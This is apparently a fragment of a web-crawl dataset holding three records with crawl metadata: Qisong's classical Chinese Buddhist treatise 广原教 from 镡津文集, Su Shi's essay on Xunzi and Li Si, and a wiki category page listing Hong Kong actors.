镡津文集\n镡津文集卷第二\n藤州镡津东山沙门契嵩撰\n辅教编中\n广原教\n叙曰。余昔以五戒十善。通儒之五常为原教。急欲解当世儒者之訾佛。若吾圣人为教之大本。虽概见而未暇尽言。欲待别为书广之。原教传之七年。会丹丘长吉遗书。劝余成之。虽属草以所论未至焚之。适就其书。几得乎圣人之心。始余为原教。师华严经先列乎菩萨乘。盖取其所谓依本起末门者也。师智度论而离合乎五戒十善者也。然立言自有体裁。其人不知颇相诮讶。当时或为其改之。今书乃先列乎人天乘。亦从华严之所谓摄末归本门者也。旨哉五戒十善则不复出其名数。吾所以为二书者。盖欲发明先圣设教之大统。以谕夫世儒之不知佛者。故其言欲文其理欲简。其势不可枝辞蔓说。若曲辨乎众经之教义。则章句者存焉。知余讥余其原教广原教乎。广原教凡二十五篇。总八千一百余言。是岁丙申也振笔于灵隐永安山舍。\n惟心之谓道。阐道之谓教。教也者圣人之垂迹也。道也者众生之大本也。甚乎群生之缪其本也久矣。圣人不作而万物终昧。圣人所以与万物大明也。心无有外道无不中。故物无不预道。圣人不私道不弃物。道之所存圣人皆与。是故其为教也。通幽通明通世出世。无不通也。通者统也。统以正之。欲其必与圣人同德。广大灵明莫至乎道。神德妙用莫至乎心。狥妄缚业莫甚乎迷本。流荡诸趣莫甚乎死生。知众生之过患莫善乎圣人。与万物正本莫善乎设教。正固明明固妙妙固其道凝焉。是故教者圣人明道救世之大端也。夫教也者。圣人乘时应机不思议之大用也。是故其机大者顿之。其机小者渐之。渐也者言乎权也。顿也者言乎实也。实者谓之大乘。权者谓之小乘。圣人以大小衍揽乎群机。而幽明尽矣。预顿而闻渐预渐而闻顿。是又圣人之妙乎天人而天人不测也。圣人示权所以趋实也。圣人显实所以藉权也。故权实偏圆而未始不相顾。权也者有显权有冥权。圣人显权之则为浅教为小道。与夫信者为其小息之所也。圣人冥权之则为异道为他教为与善恶同其事。与夫不信者预为其得道之远缘也。显权可见。而冥权不测也。实也者至实也。至实则物我一也。物我一故圣人以群生而成之也。语夫圣人之权也。则周天下之善。遍百家之道。其救世济物之大权乎。语夫圣人之实也。则旁礴法界与万物皆极其天下穷理尽性之大道乎。圣人者圣人之圣者也。以非死生而示死示生与人同然。而莫睹其所以然。岂古神灵献智博大盛备之圣人乎。故其为教有神道也。有人道也。有常德也。有奇德也。不可以一概求。不以世道拟议得在于心通。失在于迹较。\n治人治天莫善乎五戒十善。修夫小小圣小圣。莫盛乎四谛十二缘。修夫大圣以趋乎大大圣。莫盛乎六度万行。夫五戒十善者。离之所以致天。合之所以资人。语其成功则有胜有劣。语其所以然则大人之道一也。夫四谛十二缘者。离之则在乎小圣。合之则在乎小小圣。语其成功则有隆杀。语其乘之则小圣小小圣同道也。夫六度也者。首万行广万行者也。大圣与乎大大圣。其所乘虽稍分之。及其以万行超极。则与夫大大之圣人一也。万行也者万善之谓也。圣人之善。盖神而为之。适变乘化无所而不在也。是故圣人预天人之事。而天人不测。夫神也者妙也。事也者粗也。粗者唯人知之。妙者唯圣人知之。天下以彼我竞。以儒佛之事相是非。而天下之知者儒佛之事。岂知其埏埴乎儒佛者耶。夫含灵者溥天溥地遍幽遍明遍乎夷狄禽兽。非以神道弥纶。而古今殆有弃物。圣人重同灵惧遗物也。是故圣人以神道作。\n心必至至必变变者识也。至者如也。如者妙万物者也。识者纷万物异万物者也。变也者动之几也。至也者妙之本也。天下无不本。天下无不动。故万物出于变入于变。万物起于至复于至。万物之变见乎情。天下之至存乎性。以情可以辨万物之变化。以性可以观天下之大妙。善夫情性可以语圣人之教道也。万物同灵之谓心。圣人所履之谓道。道有大者焉。有小者焉。心有善者焉。有恶者焉。善恶有厚薄。大小有渐奥。故有大圣有次圣有小圣。有天有人有须伦有鬼神。有介羽之属有地道。群生者一心之所出也。圣人者一道之所离也。圣人之大小之端不可不审也。群生之善恶之故不可不慎也。夫心与道岂异乎哉。以圣人群生姑区以别之。曰道。曰心也。心乎大哉至也矣。幽过乎鬼神明过乎日月。博大包乎天地。精微贯乎邻虚。幽而不幽。故至幽。明而不明。故至明。大而不大。故绝大。微而不微。故至微。精日精月灵鬼灵神。而妙乎天地三才。若有乎若无乎。若不有不无。若不不有。若不不无。是可以言语状及乎。不可以绝待玄解谕。得之在乎瞬息。差之在乎毫牦者。是可以与至者知。不可与学者语。圣人以此难明难至也。乃为诸教。言之义之谕之正之。虽伙然多端。是皆欲人之不缪也。而学者犹昧。今夫天下混谓乎心者。言之而不详。知之而不审。苟认意识谓与圣人同得其趣道也。不亦远乎。\n情出乎性。性隐乎情。性隐则至实之道息矣。是故圣人以性为教而教人。天下之动生于情。万物之惑正于性。情性之善恶天下可不审乎。知善恶而不知夫善恶之终始。其至知乎。知其终而不知其始。其至知乎。唯圣人之至知。知始知终知微知亡。见其贯死生幽明而成象成形天地至远而起于情。宇宙至大而内于性。故万物莫盛乎情性者也。情也者有之初也。有有则有爱。有爱则有嗜欲。有嗜欲则男女万物生死焉。死生之感则善恶以类变。始之终之循死生而未始休。性也者无之至也。至无则未始无。出乎生入乎死而非死非生。圣人之道所以寂焉明然。唯感所适。夫情也为伪为识。得之则为爱为惠。为亲亲为疏疏为或善为或恶。失之则为欺为狡。为凶为不逊。为贪为溺嗜欲。为丧心为灭性。夫性也为真为如为至为无邪为清为静。近之则为贤为正人。远之则为圣神为大圣人。圣人以性为教教人而不以情。此其蕴也。情性之在物。常然宛然。探之不得。决之不绝。天地有穷性灵不竭。五趣迭改情累不释。是故情性之谓天下不可不柬也。夫以情教人。其在生死之间乎。以性教人。其出夫死生之外乎。情教其近也。性教其远也。诞乎死生之外而罔之。其昧天理而绝乎生生之源也。小知不及大知。醯鸡之局乎瓮瓿之间。不亦然乎。\n心动曰业。会业曰感。感也者通内外之谓也。天下之心孰不动。万物之业孰不感。业之为理也幽。感之为势也远。故民不睹而不惧。圣人之教谨乎业。欲其人之必警也。欲其心之慎动也。内感之谓召。外感之谓应。召谓其因。应谓其果。因果形象者皆预也。夫心动有逆顺。故善恶之情生焉。善恶之情已发。故祸福之应至焉。情之有浅深。报之有轻重。轻乎可以迁。重乎不可却。善恶有先后。祸福有迟速。虽十世万世而相感者不逸。岂一世而已乎。夫善恶不验乎一世而疑之。是亦昧乎因果者也。报施不以夫因果正。则天下何以劝善人。树不见其长而日茂。砺不见其销而日无。业之在人也如此。可不慎乎。\n物有性物有命。物好生物恶死。有血气之属皆然也。圣人所以欲生而不欲杀。夫生杀有因果。善恶有感应。其因善其果善。其因恶其果恶。夫好生之心善。好杀之心恶。善恶之感可不慎乎。人食物物给人。昔相负而冥相偿。业之致然也。人与物而不觉。谓物自然天生以养人。天何颇邪。害性命以育性命。天道至仁岂然乎哉。夫相偿之理冥而难言也。宰杀之势积而难休也。故古之法使不暴夫物不合围不掩群也。子钓而不纲弋不射宿。其止杀之渐乎。佛教教人可生而不可杀。可不思耶谅哉。\n大信近也。小信远也。近反远远反近。情蔽而然也。天下莫近乎心。天下莫远乎物。人夫不信其心而信其物。不亦近反远远反近乎。不亦迷缪倒错乎。心也者聪明睿智之源也。不得其源而所发能不缪乎。圣人所以欲人自信其心也。信其心而正之。则为诚常为诚善为诚孝为诚忠为诚仁为诚慈为诚和为诚顺为诚明。诚明则感天地振鬼神。更死生变化而独得。是不直感天地动鬼神而已矣。将又致乎圣人之大道者也。是故圣人以信其心为大也。夫圣人博说之约说之直示之巧示之。皆所以正人心而与人信也。人而不信圣人之言。乃不信其心耳。自弃也自惑也。岂谓明乎哉贤乎哉。\n修多罗藏者何谓也。合理也经也。经也者常也贯也摄也。显乎前圣后圣所说皆然。莫善乎常也。持义理而不亡。莫善乎贯也。总群生而教之。莫善乎摄也。阿毗昙藏者何谓也。对法也论也。论也者判也辨也。发明乎圣人之宗趣。莫善乎辨。指其道之浅深。莫善乎判。毗尼藏者何谓也戒也律也。律也者制也。启众善遮众恶。莫善乎制也。人天乘者何谓也。渐之渐也。导世俗。莫盛乎至渐。声闻乘者何谓也。权也渐也小道也。缘觉乘者何谓也。亦小道也。从其器而宜之。莫盛乎权。与其进而不与其退。莫盛乎渐。菩萨乘者何谓也。实也顿也大道也。即人心而授大道。莫盛乎菩萨乘也。其乘与妙觉通。其殆庶几者也。四轮者何谓也。曰风也。曰水也。曰金也。曰地也。四轮也者天地之所以成形也。观乎四轮则天地之终始可知也。三界者何谓也。曰欲也。曰色也。曰无色也。三界也者有情者之所依也。观乎三界则六合之内外可详而不疑也。六道者何谓也。曰地狱也。曰畜生也。曰饿鬼也。曰修罗也。曰人也。曰天也。六道也者善恶心之所感也。观乎六道则可以慎其为心也四生者何谓也。曰胎也。曰卵也。曰湿也。曰化也。四生也者情之所成也。观乎四生则可以知形命之所以然也。何家无教。何书无道。道近而不道远。天下何以知远乎。教人而不教他类。物其有所遗乎。夫幽者远者。固人耳目之所不及也。惚恍者飞潜者。固人力之不能䘏也。人之不能及。宜圣人能及之。人之不能䘏。宜圣人能恤之。圣人不能及天下。其终昧夫幽远者耶。圣人不能䘏。含灵者将沦而无所拯乎。是故圣人之教远近幽明无所不被无所不着。天下其广大悉备者。孰有如吾圣人之教者也。\n天之至高。地之至远。鬼神之至幽。修吾圣人之法则天地应之。举吾圣人之言则鬼神顺之。天地与圣人同心。鬼神与圣人同灵。盖以其类相感而然也。情不同则人睽。类不同则物反。非其道则孺子不从。今夫感天地振鬼神。得乎百姓夷狄。更古今而其心不离。则吾圣人之道其大通大至断可见矣。\n佛者何谓也。正乎一者也。人者何谓也。预乎一者也。佛与人一而已矣。万物之谓者名也。至理之谓者实也。执名而昧实。天下其知至乎。道在乎人谓之因。道在乎佛谓之果。因也者言乎未至也。果也者言乎至也。至则正矣。正则无所居而不自得焉。佛乎岂必形其形迹其迹。形迹者乃存其教耳。教也者为其正之之资也。别万物莫盛乎名。同万物莫盛乎实。圣人以实教人。欲人之大同也。圣人以遗名劝人。防人之大异也。观夫圣人之所以教。则名实之至断可见矣。\n何人无心。何人无妙。何教无道。何道无中。概言乎中则天下不趋其至道。混言其妙则天下不求其至心。不尽乎至心至道。则伪者狂者矜者慢者。由此而不修也。生者死者因循变化。由此而不警也。妙有妙有大妙。中有事中有理中。夫事中也者万事之制中者也。理中也者性理之至正者也。夫妙也者妙之者也。大妙也者妙之又妙者也。妙者百家者皆言。而未始及其大妙也。大妙者唯吾圣人推之。极乎众妙者也。夫事中者百家者皆然。吾亦然矣。理中者百家者虽预中而未始至中。唯吾圣人正其中以验其无不中也。曰心。曰道。名焉耳。曰中。曰妙。语焉耳。名与言虽异而至灵一也。一即万万即一。一复一万复万。转之展之交相融摄而浩然不穷。大妙重玄其如此也矣夫。故其掷大千于方外。纳须弥于芥子。而至人不疑。曰妙而已矣。曰中而已矣。又何以加焉。曰海固深矣。而九渊深于海。夷溪之子岂谅。於戏。\n教不可泥。道不可罔。泥教淫迹。罔道弃本。泥也者。过也。罔也者。不及也。过与不及。其为患一也。圣人所以为理必诚。为事必权。而事与理皆以大中得也。夫事有宜。理有至。从其宜而宜之。所以为圣人之教也。即其至而至之。所以为圣人之道也。梁齐二帝(梁武齐文宣也)反其宜而事教。不亦泥乎。魏周二君(魏武周武)泯其至而预道。不亦罔乎。夫圣人之教。善而已矣。夫圣人之道。正而已矣。其人正人之。其事善事之。不必僧不必儒。不必彼不必此。彼此者情也。僧儒者迹也。圣人垂迹。所以存本也。圣人行情。所以顺性也。存本而不滞迹。可以语夫权也。顺性而不溺情。可以语夫实也。昔者。石虎。以柄国杀罚。自疑其事佛无祐。而佛图澄。乃谓石虎曰。王者当心体大顺动合三宝。如其凶愚不为教化所迁。安得不诛。但刑其可刑。罚其可罚者。脱刑罚不中也。虽轻财奉佛。何以益乎。宋文帝。谓求那跋摩曰。孤愧。身狥国事。虽欲斋戒。不杀安得如法也。跋摩曰。帝王与匹夫所修当异。帝王者。但正其出言发令。使乎人神悦和。人神悦和则风雨顺。风雨顺则万物遂其所生也。以此持斋。斋亦至矣。以此不杀。德亦大矣。何必辍半日之餐。全一禽之命。为之修乎。帝抚几称之曰。俗迷远理。僧滞近教。若公之言。真所谓天下之达道。可以论天人之际矣。图澄跋摩。古之至人也。可谓知权乎。\n圣人以五戒之导世俗也。教人修人以种人。修之则在其身。种之则在其神。一为而两得。故感人心而天下化之。与人顺理之谓善。从善无迹之谓化。善之故人慕而自劝。化之故在人而不显。故天下不可得以校其功。天下不可得以议其德。然天下鲜恶孰知非因是而损之。天下多善。孰知非因是而益之。有谓佛无所助夫王者之治天下者。此不睹乎理者也。\n善不修则人道绝矣。性不明则神道灭矣。天地之往往者神也。万物之灵族者人也。其神暗生。生者所以异也。其人失灵族者。所以衰也。圣人重人道。所以推善而益之也。圣人重神道。所以推性而嗣之也。人者。天者。圣人者。孰不自性而出也。圣人者。天者。人者。孰不自善而成也。所出者固其本也。所成者固其教也。众成之大成者也。万本之大本者也。圣人以性嗣。盖与天下厚其大本也。圣人以善益。盖与天下务其大成也。父母之本者次本也。父母之成者次成也。次本次成能形人而不能使其必人也。必人必神必先其大本大成也。而然后。及其次本次成是谓知本也。夫天下以父子夫妇为人道者。是见人道之缘而不见其因也。缘者近也。因者远也。夫天下知以变化自然为乎神道者。是见其然而不见其所以然也。然者显也。所以然者幽也。是故圣人推其所以然者。以尽神道之幽明也。推其远而略其近者。以验人道之因果也。圣人其与天下之终始乎。圣人不自续。其族举人族而续之。其为族不为大族乎哉。圣人不自嗣。其嗣举性本。而与天下嗣之其为嗣。不亦大嗣乎哉。\n教谓布施何谓也。布施吾原教虽论而未尽。此尽之也。布施也者圣人之欲人为福也。夫福岂有象邪。在其为心之善不善耳。贪婪悭吝者心之不善者也。济人惠物者心之善者也。善心感之则为福。不善心感之则为极。福极之理存乎儒氏之皇极矣。皇极者盖论而不议者也。夫布施之云为者圣人欲人发其感福之心也。其发之者有优劣。则应之者有厚薄。以佛事而发其施心者优也。以世事而发其施心者劣也。圣人欲人之福必厚。故先优而后劣。劣者谓之卑。优者谓之胜。儒曰。福者备也。备者百顺之名也。无所不顺之谓备。此道其缘而不道其因。非因则天下不知其所以为福也。所种之地薄则所成之物不茂。所种之地嘉则所成之物必硕也矣。是故圣人示人之胜劣。岂有所苟乎。如以财而施人者。其福可量也。以法而施人者。其福不可量也。可量者并世而言之也。不可量者以出世而言之也。\n教必尊僧何谓也。僧也者以佛为姓。以如来为家。以法为身。以慧为命。以禅悦为食。故不恃俗氏。不营世家。不修形骸。不贪生不惧死。不溽乎五味。其防身有戒。摄心有定。辨明有慧。语其戒也。洁清三惑而毕身不污。语其定也。恬思虑正神明而终日不乱。语其慧也。崇德辨惑而必然。以此修之之谓因。以此成之之谓果。其于物也。有慈有悲有大誓有大惠。慈也者常欲安万物。悲也者常欲拯众苦。誓也者誓与天下见真谛。惠也者惠群生以正法。神而通之。天地不能掩。密而行之。鬼神不能测。其演法也。辩说不滞。其护法也。奋不顾身。能忍人之不可忍。能行人之不能行。其正命也。丐食而食而不为耻。其寡欲也。粪衣缀钵而不为贫。其无争也。可辱而不可轻。其无怨也。可同而不可损。以实相待物。以至慈修已。故其于天下也。能必和能普敬。其语无妄。故其为信也至。其法无我。故其为让也诚。有威可敬(敬或作警)有仪可则。天人望而俨然。能福于世能导于俗。其忘形也。委禽兽而不吝。其读诵也。冒寒暑而不废。以法而出也。游人间遍聚落。视名若谷响。视利若游尘。视物色若阳艳。煦妪贫病瓦合舆㒗而不为卑。以道而处也。虽深山穷谷。草其衣木其食。晏然自得。不可以利诱。不可以势屈。谢天子诸侯而不为高。其独立也。以道自胜。虽形影相吊而不为孤。其群居也。以法为属会四海之人而不为混其可学也。虽三藏十二部百家异道之书。无不知也。他方殊俗之言。无不通也。祖述其法则有文有章也。行其中道则不空不有也。其绝学也。离念清净纯真一如。不复有所分别也。僧乎其为人至。其为心溥。其为德备。其为道大。其为贤非世之所谓贤也。其为圣非世之所谓圣也。出世殊胜之贤圣也。僧也如此可不尊乎。\n以世法籍僧何谓也。籍僧者非古也。其暴周之意耳。僧也者远尘离俗其本处乎四民之外。籍僧乃民畜僧也。吾圣人之世。国有僧以僧法治国。有俗以俗法治。各以其法而治之也。未始闻以世法而检僧也。岂非圣人既隐其道大衰其徒污杂太甚辅法不胜其人而然乎。羽嘉生应龙。应龙生凤皇。凤皇生众鸟。物久乃变。其势之自然也。既变则不可不制也。制乎在于区之别之邪正曲直。不可概视也。石有玉草有兰。人乎岂谓无其圣贤邪。旌一善则天下劝善。礼一贤则天下慕贤。近古之高僧者见天子不名。豫制书则曰师曰公。钟山僧远。銮舆及门而床坐不迎。虎溪慧远。天子临浔阳而诏不出山。当世待其人尊其德。是故其圣人之道振。其徒尚德。儒曰贵德何为也。为其近于道也。儒岂不然哉。后世之慕其高僧者。交卿大夫尚不待预下士之礼。其出其处不若庸人之自得也。况如僧远之见天子乎。况如慧远之自若乎。望吾道之兴吾人之修。其可得乎。存其教而不须其人存诸何以益乎。惟此未尝不涕下。\n教谓住持者何谓也。住持也者谓藉人持其法使之永住而不泯也。夫戒定慧者持法之具也。僧园物务者持法之资也。法也者大圣之道也。资与具待其人而后举。善其具而不善其资不可也。善其资而不善其具不可也。皆善则可以持而住之也。昔灵山住持以大迦叶统之。竹林住持以身子尸之。故圣人之教盛圣人之法长存。圣人既隐。其世数相失茫然久乎。吾人儌幸乃以住持名之势之利之。天下相习沓焉纷然。几乎成风成俗也。圣人不复出。其孰为之正。外卫者不视不择。欲吾圣人之风不衰。望圣人之法益昌。不可得也。悲夫。吾何望也。\n僧置正而秩比侍中。何谓也。置正非古也。其姚秦之所始也。置正可也。置秩不可也。僧也者委荣利以胜德高世者也。岂预宠禄乎。与僧比秩。不亦造端引后世之竞势乎。道䂮不明。不知窒其渐。道䂮之过也。夫僧也者出于戒定慧者也。夫正也者出于诚明者也僧非诚明。孰能诚戒诚定诚慧也。不诚乎戒定慧则吾不知其所以为正也。宋齐梁陈四代亦㳂秦而置正。二魏高齐后周革秦之制而置统。隋承乎周亦置之统。唐革隋则罢统而置录。国朝㳂唐之制。二京则置录。列郡则置正。夫古今㳂革虽异。而所尸一也。天下难于得人。而古今皆然。果得其正则吾人庶几无邪也。慎之乎慎之乎。难其人乎。\n有形出无形。无形出有形。故至神之道不可以有寻。不可以无测。不可以动失。不可以静得。圣人之道空乎。则生生奚来。圣人之道不空乎。则生孰不泯。善体乎空不空。于圣人之道其庶几乎。夫验空莫若审有形。审有形莫若知无形。知无形则可以窥神明。窥神明始可以语道也。道也者神之蕴也。识之所自出也。识也者大患之源也。谓圣人之道空。此乃溺乎混茫之空也。病益病矣。天下其孰能治之乎哉。\n天下不信性为圣人之因。天下不信性为圣人之果。天下惑性而不知修性。天下言性而不知见性。不信性与圣人同因。自昧也。不信性与圣人同果自弃也。不修性而性溺惑也。不见性而其言性非审也(或无上二而字)是故指修莫若乎因。克成莫若乎果。全性莫若乎修。审性莫若乎证。因也者修性之表也。果也者成性之效也。修也者治性之具也。证也者见性之验也。天下其心方散之乱之惰之慢之。谓不必因而罔其表者。则天下何以劝其修性而趋其成乎。天下之心方疑之惑之而不定也。谓不必果而罔其效者。则天下何以示其成性而显其果有所至乎。谓不必修而罔其具者。则天下其性能不蔽而果明且净乎。天下之有见无见断见常见。其说方纷然相糅而不辨。谓不必证而罔其验者。则天下可以别其见性之正乎邪乎至哉不至哉。百家者皆言性。而不事乎因焉果焉修焉证焉。其于性也果效白乎。诸子务性而不求乎因也果也修也证也。其于性果能至之乎。是故吾之圣人道性。必先夫因果修证者也。旨哉天下可以思之矣。\n圣人之教存乎道。圣人之道存乎觉。觉则明。不觉则不明。不明则群灵所以与圣人相间也。觉也者非渐觉也极觉也。极觉乃圣人之能事毕矣。觉之之谓佛。况之之谓乘。觉之以成乎圣人之道。乘之以至乎圣人之域。前圣也后圣也。孰不然乎哉。稽圣人之所觉。在乎群生之常觉也。众生日觉而未始觉。觉犹梦。晓而犹昧。是故圣人振而示之。欲其求之引而趋之。欲其至之。人夫谓佛何。拒而讻之。为家而投珍。蹈路而舍地。惑亦甚矣。觉也者以言乎近则息尘劳靖神明正本以修末。以言乎远则了大伪外死生至寂而常明。闲闲与圣人同德。觉之效也。如此大哉至乎。不可以言尽。不可以智得。神而明之。存乎其人。\n吾圣人之作。当周之盛世也。瑞气见乎昭王。而周书不书。避异也。化人自西极而至。将穆王以神游。圣人其兆于诸夏也。十八异僧如秦。而始皇怪之。佛法其东播之渐也。梦于汉而声教遂振。其冥数之当兴也。出于彼而不出于此何也。以彼一天下之大中也。将表其心其权其道之大中乎。圣人以道作。以权适宜。以所出示迹。夫道也者圣人之理中也。权也者圣人之事中也。所出也者圣人之示中也。示中则圣人之心可知也。理中则圣人之道之至也。事中则圣人之事之得也。传谓彼一天下其所统者若中国之所谓其天下者。殆有百数。而中国者以吾圣人非出中国而夷之。岂其所见之未博乎。春秋以徐伐莒不义。乃夷狄之。以狄人与齐人盟于刑得义。乃中国之。春秋固儒者圣人之法也。岂必以所出而议其人乎。然类不足以尽人。迹不足以尽道。以类而求夫圣人。不亦缪乎。以迹而议夫圣人之道。不亦妄乎。圣人见乎五帝三王之后。而不见乎五帝三王之先何谓也。圣人非苟见也。圣人以人心所感而见也。五帝三王之前群生之心不感。而圣人不来也。五帝三王之后群生之心感。圣人之迹所以至也。道在众生之谓因。道在圣人之谓缘。因缘有稔焉。有未稔焉。因缘稔矣。虽众生不求而圣人必至。因缘未稔。虽群生求之而圣人不应。是知圣人与众生盖以道而自然相感。非若世之有所为者。以情而取之以情而舍之也。\n圣人之知远至远也。圣人之先觉至觉也。是故其教推索乎太极之前。却道乎天地之更始。故其书为博为多为不约。浩浩乎不可以一往求。不可以一日尽。治其书之谓学。学其教之谓审。审其道之谓至。天下非至无本。非教无明。非书无知。是故研圣人之道者不可舍其教也。探圣人之教者不可捐其书也。今辨其道而讵其教。校其教而不顾其书。不亦妄乎。儒曰。虽有嘉肴弗食。不知其旨也。虽有至道弗学。不知其善也不其然哉。谓其道不足法。推己道以辨之。谓其书不足详援己书以较之。夫与乡人讼而引家人证当乎。必也不当矣。道也者天下之本也。书也者天下之迹也。事也者天下之异也理也者天下之同也。以理而质事。天下之公也。寻迹以验本。天下之当也。夫委书而辨道。舍理而断事天下若此而为之者。公乎当耶。\n古之有圣人焉。曰佛。曰儒。曰百家。心则一。其迹则异。夫一焉者其皆欲人为善者也。异焉者分家而各为其教者也。圣人各为其教。故其教人为善之方。有浅有奥有近有远。及乎绝恶而人不相扰。则其德同焉。中古之后。其世大漓。佛者其教相望而出。相资以广。天下之为善其天意乎。其圣人之为乎。不测也。方天下不可无儒。无百家者。不可无佛。亏一教则损天下之一善道。损一善道则天下之恶加多矣。夫教也者圣人之迹也。为之者(本或无之)圣人之心也。见其心则天下无有不是。循其迹则天下无有不非。是故贤者贵知夫圣人之心。文中子曰。观皇极谠议。知佛教可以一矣。王氏殆见圣人之心也。\n镡津文集卷第二","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/dzj.fosss.org\/dzz\/16\/2190-t52n2115?start=1","date":"2020-10-20T14:10:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107872746.20\/warc\/CC-MAIN-20201020134010-20201020164010-00665.warc.gz","language":"lzh","language_score":0.3978463113,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.3978463113307953, \"cmn_Hani_score\": 0.2021474838256836, \"nan_Hani_score\": 0.06233881413936615, \"zxx_Latn_score\": 0.05244674161076546, \"wuu_Hani_score\": 0.031335387378931046, \"jpn_Jpan_score\": 0.025712866336107254, \"und_Tang_score\": 0.02045140415430069, \"und_Xsux_score\": 0.019688410684466362, \"und_Cyrl_score\": 0.013448233716189861}","num_words":39,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.398,"perplexity_score":500.0,"cluster_detection":1} +{"text":"荀卿論\n嘗讀《孔子世家》,觀其言語文章,循循莫不有規矩,不敢放言高論,言必稱先王,然後知聖人憂天下之深也。茫乎不知其畔岸,而非遠也;浩乎不知其津涯,而非深也。其所言者,匹夫匹婦之所共知;而所行者,聖人有所不能盡也。嗚呼!是亦足矣。使後世有能盡吾說者,雖為聖人無難,而不能者,不失為寡過而已矣。\n子路之勇,子貢之辯,冉有之智,此三者,皆天下之所謂難能而可貴者也。然三子者,每不為夫子之所悅。顏淵默然不見其所能,若無以異於眾人者,而夫子亟稱之。且夫學聖人者,豈必其言之雲爾哉?亦觀其意之所向而已。夫子以為後世必有不能行其說者矣,必有竊其說而為不義者矣。是故其言平易正直,而不敢為非常可喜之論,要在於不可易也。\n昔者常怪李斯事荀卿,既而焚滅其書,大變古先聖王之法,於其師之道,不啻若寇仇。及今觀荀卿之書,然後知李斯之所以事秦者皆出於荀卿,而不足怪也。\n荀卿者,喜為異說而不讓,敢為高論而不顧者也。其言愚人之所驚,小人之所喜也。子思、孟軻,世之所謂賢人君子也。荀卿獨曰:「亂天下者,子思、孟軻也。」天下之人,如此其眾也;仁人義士,如此其多也。荀卿獨曰:「人性惡。桀、紂,性也。堯、舜,偽也。」由是觀之,意其為人必也剛復不遜,而自許太過。彼李斯者,又特甚者耳。\n今夫小人之為不善,猶必有所顧忌,是以夏、商之亡,桀、紂之殘暴,而先王之法度、禮樂、刑政,猶未至於絕滅而不可考者,是桀、紂猶有所存而不敢盡廢也。彼李斯者,獨能奮而不顧,焚燒夫子之六經,烹滅三代之諸侯,破壞周公之井田,此亦必有所恃者矣。彼見其師歷詆天下之賢人,以自是其愚,以為古先聖王皆無足法者。不知荀卿特以快一時之論,而荀卿亦不知其禍之至於此也。\n其父殺人報仇,其子必且行劫。荀卿明王道,述禮樂,而李斯以其學亂天下,其高談異論有以激之也。孔、孟之論,未嘗異也,而天下卒無有及者。茍天下果無有及者,則尚安以求異為哉!\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E8%8D%80%E5%8D%BF%E8%AB%96","date":"2020-11-01T02:14:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107922746.99\/warc\/CC-MAIN-20201101001251-20201101031251-00633.warc.gz","language":"lzh","language_score":0.4856226146,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.4856226146221161, \"cmn_Hani_score\": 0.4350605010986328, \"nan_Hani_score\": 0.06453722715377808, \"wuu_Hani_score\": 0.01016631443053484}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.659,"perplexity_score":500.0,"cluster_detection":1} +{"text":"熱門頁面 黃秋生 馬德鐘 陳國邦 成龍 陳豪 郭富城 杜汶澤 鍾嘉欣 所有項目 (88) # A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 其他 任 任達華 佘 佘詩曼 余 余慕蓮 劉 劉德華 劉松仁 劉江 劉美君 劉青雲 古 古天樂 古明華 吳 吳君如 吳孟達 吳鎮宇 周 周潤發 夏 夏雨 姜 姜大衛 宣 宣萱 岳 岳華 廖 廖啟智 張 張兆輝 張可頤 張國強 張國榮 張學友 張家輝 張曼玉 徐 徐錦江 成 成龍 曾 曾江 李 李國麟 李成昌 杜 杜汶澤 杜麗莎 梁 梁朝偉 梅 梅艷芳 楊 楊怡 歐 歐瑞偉 歐陽震華 江 江嘉敏 江美儀 王 王浩信 甄 甄子丹 田 田蕊妮 盧 盧宛茵 盧海鵬 石 石修 秦 秦沛 羅 羅嘉良 翁 翁美玲 胡 胡定欣 苗 苗僑偉 萬 萬梓良 萬綺雯 葉 葉德嫻 蔣 蔣志光 藍 藍潔瑛 許 許紹雄 謝 謝天華 謝雪心 邵 邵美琪 郭 郭富城 郭峰 郭政鴻 郭晉安 鄧 鄧萃雯 鄭 鄭則仕 鄭嘉穎 鄭子誠 鄭少秋 鍾 鍾嘉欣 關 關禮傑 關詠荷 陳 陳國邦 陳展鵬 陳豪 陳鴻烈 韓 韓馬利 馬 馬國明 馬德鐘 駱 駱應鈞 麥 麥長青 黃 黃子華 黃日華 黃智賢 黃智雯 黃秋生 黎 黎耀祥 黎諾懿 取自 \"https:\/\/evchk.wikia.org\/zh\/wiki\/分類:實力派演員?oldid=535005\" 分類: 高登娛樂名人 演員 除非另有註明,否則社區內容均使用CC-BY-SA授權條款。","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/evchk.wikia.org\/zh\/wiki\/%E5%88%86%E9%A1%9E:%E5%AF%A6%E5%8A%9B%E6%B4%BE%E6%BC%94%E5%93%A1","date":"2020-10-22T21:53:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107880038.27\/warc\/CC-MAIN-20201022195658-20201022225658-00473.warc.gz","language":"lzh","language_score":0.6954698563,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.695469856262207, \"cmn_Hani_score\": 0.2545601427555084, \"yue_Hani_score\": 0.03033534623682499, \"nan_Hani_score\": 0.01840290240943432}","num_words":183,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.328,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.815,"perplexity_score":500.0,"cluster_detection":1} 